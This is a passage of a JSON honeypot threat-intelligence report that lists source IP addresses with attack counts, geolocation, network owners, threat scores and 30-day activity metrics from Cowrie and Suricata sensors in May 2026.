        "cowrie.client.kex"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 23.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 28,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:34:47.512000+00:00",
        "last_seen_30d": "2026-05-31T10:54:28.517000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 12
      }
    },
    "35.146.30.148": {
      "attack_count": 8,
      "first_seen": "2026-05-21T09:08:28.602Z",
      "last_seen": "2026-05-21T09:16:31.172Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Austin",
      "asn": 11427,
      "as_org": "Charter Communications Inc",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:08:28.602000+00:00",
        "last_seen_30d": "2026-05-21T09:17:31.850000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "122.96.31.7": {
      "attack_count": 6,
      "first_seen": "2026-05-18T08:39:47.249Z",
      "last_seen": "2026-05-18T08:40:38.938Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:39:47.249000+00:00",
        "last_seen_30d": "2026-05-18T08:41:40.560000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "181.34.252.246": {
      "attack_count": 6,
      "first_seen": "2026-05-19T21:34:27.398Z",
      "last_seen": "2026-05-20T00:03:28.298Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:34:27.398000+00:00",
        "last_seen_30d": "2026-05-20T00:04:36.752000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "43.226.44.38": {
      "attack_count": 6,
      "first_seen": "2026-05-10T11:56:16.334Z",
      "last_seen": "2026-05-10T11:58:26.937Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134762,
      "as_org": "CHINANET Liaoning province Dalian MAN network",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T11:56:16.334000+00:00",
        "last_seen_30d": "2026-05-10T12:06:34.294000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "45.238.38.92": {
      "attack_count": 6,
      "first_seen": "2026-05-24T06:42:55.449Z",
      "last_seen": "2026-05-24T06:48:58.565Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Pedro Juan Caballero",
      "asn": 266831,
      "as_org": "MONGELOS ARCE MARCIALDELTA NETWORKS",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T06:42:55.449000+00:00",
        "last_seen_30d": "2026-05-24T06:50:06.133000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "112.117.15.37": {
      "attack_count": 4,
      "first_seen": "2026-05-19T06:30:44.156Z",
      "last_seen": "2026-05-19T06:31:37.572Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qujing",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:30:44.156000+00:00",
        "last_seen_30d": "2026-05-19T06:32:38.301000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "170.245.127.159": {
      "attack_count": 4,
      "first_seen": "2026-05-07T12:06:14.596Z",
      "last_seen": "2026-05-10T01:37:17.539Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Coronel Fabriciano",
      "asn": 266022,
      "as_org": "G & S INFORNET PROVEDOR DE INTERNET EIRELI",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:06:14.596000+00:00",
        "last_seen_30d": "2026-05-10T01:38:26.250000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "175.11.240.118": {
      "attack_count": 4,
      "first_seen": "2026-05-23T04:13:47.205Z",
      "last_seen": "2026-05-23T09:13:51.397Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:13:47.205000+00:00",
        "last_seen_30d": "2026-05-23T09:14:58.320000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "180.212.219.195": {
      "attack_count": 4,
      "first_seen": "2026-05-22T19:56:00.153Z",
      "last_seen": "2026-05-23T08:19:22.921Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17638,
      "as_org": "ASN for TIANJIN Provincial Net of CT",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:56:00.153000+00:00",
        "last_seen_30d": "2026-05-23T08:20:27.861000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "186.158.145.58": {
      "attack_count": 4,
      "first_seen": "2026-05-17T22:48:17.951Z",
      "last_seen": "2026-05-17T22:50:21.279Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Rosario",
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T22:48:17.951000+00:00",
        "last_seen_30d": "2026-05-17T23:01:02.775000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "205.210.31.48": {
      "attack_count": 4,
      "first_seen": "2026-05-29T10:19:24.562Z",
      "last_seen": "2026-05-29T10:19:28.073Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 30,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T05:37:55.192000+00:00",
        "last_seen_30d": "2026-05-31T05:06:12.047000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 18,
        "ConPot": 6,
        "Cowrie": 4
      }
    },
    "66.132.195.80": {
      "attack_count": 4,
      "first_seen": "2026-05-29T09:33:05.538Z",
      "last_seen": "2026-05-29T09:33:20.930Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 85.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 27,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T00:58:28+00:00",
        "last_seen_30d": "2026-05-29T23:53:20.963000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 36,
        "Ciscoasa": 6,
        "Cowrie": 4,
        "ElasticPot": 4
      }
    },
    "101.108.27.147": {
      "attack_count": 2,
      "first_seen": "2026-05-21T02:33:17.642Z",
      "last_seen": "2026-05-21T02:33:30.862Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Sam Phran",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:33:17.642000+00:00",
        "last_seen_30d": "2026-05-21T02:34:39.554000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.158.121.59": {
      "attack_count": 2,
      "first_seen": "2026-05-11T03:40:41.566Z",
      "last_seen": "2026-05-11T03:40:54.549Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141127,
      "as_org": "PT Anugerah Cimanuk Raya",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:40:41.566000+00:00",
        "last_seen_30d": "2026-05-11T03:41:56.138000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.170.158.227": {
      "attack_count": 2,
      "first_seen": "2026-05-06T13:55:46.506Z",
      "last_seen": "2026-05-06T13:55:59.172Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 139538,
      "as_org": "MOVEX DIGITAL TECHNOLOGY PRIVATE LIMITED",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T13:55:46.506000+00:00",
        "last_seen_30d": "2026-05-06T13:57:07.811000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.129.18": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:57:26.454Z",
      "last_seen": "2026-05-23T01:57:58.745Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:57:26.454000+00:00",
        "last_seen_30d": "2026-05-23T01:59:04.801000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.211.141.56": {
      "attack_count": 2,
      "first_seen": "2026-05-20T14:54:43.509Z",
      "last_seen": "2026-05-20T14:54:55.635Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:54:43.509000+00:00",
        "last_seen_30d": "2026-05-20T14:56:05.600000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.99.255.69": {
      "attack_count": 2,
      "first_seen": "2026-05-05T13:47:44.767Z",
      "last_seen": "2026-05-05T13:47:59.104Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T13:47:44.767000+00:00",
        "last_seen_30d": "2026-05-05T13:49:03.770000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.165.80.127": {
      "attack_count": 2,
      "first_seen": "2026-05-19T18:01:47.807Z",
      "last_seen": "2026-05-19T18:02:01.064Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:01:47.807000+00:00",
        "last_seen_30d": "2026-05-19T18:03:06.706000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.113.91.32": {
      "attack_count": 2,
      "first_seen": "2026-05-23T22:13:03.658Z",
      "last_seen": "2026-05-23T22:13:16.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:13:03.658000+00:00",
        "last_seen_30d": "2026-05-23T22:14:20.003000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.49.59.174": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:00:47.456Z",
      "last_seen": "2026-05-08T19:01:02.175Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Agra",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:00:47.456000+00:00",
        "last_seen_30d": "2026-05-08T19:02:02.648000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.121.163.186": {
      "attack_count": 2,
      "first_seen": "2026-05-11T18:11:32.065Z",
      "last_seen": "2026-05-11T18:11:44.864Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Crix\u00e1s",
      "asn": 264158,
      "as_org": "E QUARESMA NETO PROVEDORES EIRELI - ME",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:11:32.065000+00:00",
        "last_seen_30d": "2026-05-11T18:12:55.132000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.227.11": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:59:37.926Z",
      "last_seen": "2026-05-23T10:00:14.441Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:59:37.926000+00:00",
        "last_seen_30d": "2026-05-23T10:01:23.213000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "172.236.188.240": {
      "attack_count": 2,
      "first_seen": "2026-05-02T06:13:40.105Z",
      "last_seen": "2026-05-02T06:14:19.971Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:08:56.480000+00:00",
        "last_seen_30d": "2026-05-02T17:06:24.525000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 2
      }
    },
    "174.23.243.182": {
      "attack_count": 2,
      "first_seen": "2026-05-11T10:35:54.124Z",
      "last_seen": "2026-05-11T10:37:54.125Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "South Jordan",
      "asn": 209,
      "as_org": "CenturyLink Communications, LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:35:54.124000+00:00",
        "last_seen_30d": "2026-05-11T10:48:36.564000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.52.106.143": {
      "attack_count": 2,
      "first_seen": "2026-05-14T04:18:38.089Z",
      "last_seen": "2026-05-14T04:20:38.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Leme",
      "asn": 262444,
      "as_org": "XTURBO PROVEDOR DE INTERNET LTDA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:18:38.089000+00:00",
        "last_seen_30d": "2026-05-14T04:31:24.239000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "178.220.185.234": {
      "attack_count": 2,
      "first_seen": "2026-05-07T15:53:33.390Z",
      "last_seen": "2026-05-07T15:53:48.330Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Belgrade",
      "asn": 8400,
      "as_org": "TELEKOM SRBIJA a.d.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:53:33.390000+00:00",
        "last_seen_30d": "2026-05-07T15:54:58.067000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.180.231.167": {
      "attack_count": 2,
      "first_seen": "2026-05-03T22:49:37.744Z",
      "last_seen": "2026-05-03T22:49:50.498Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
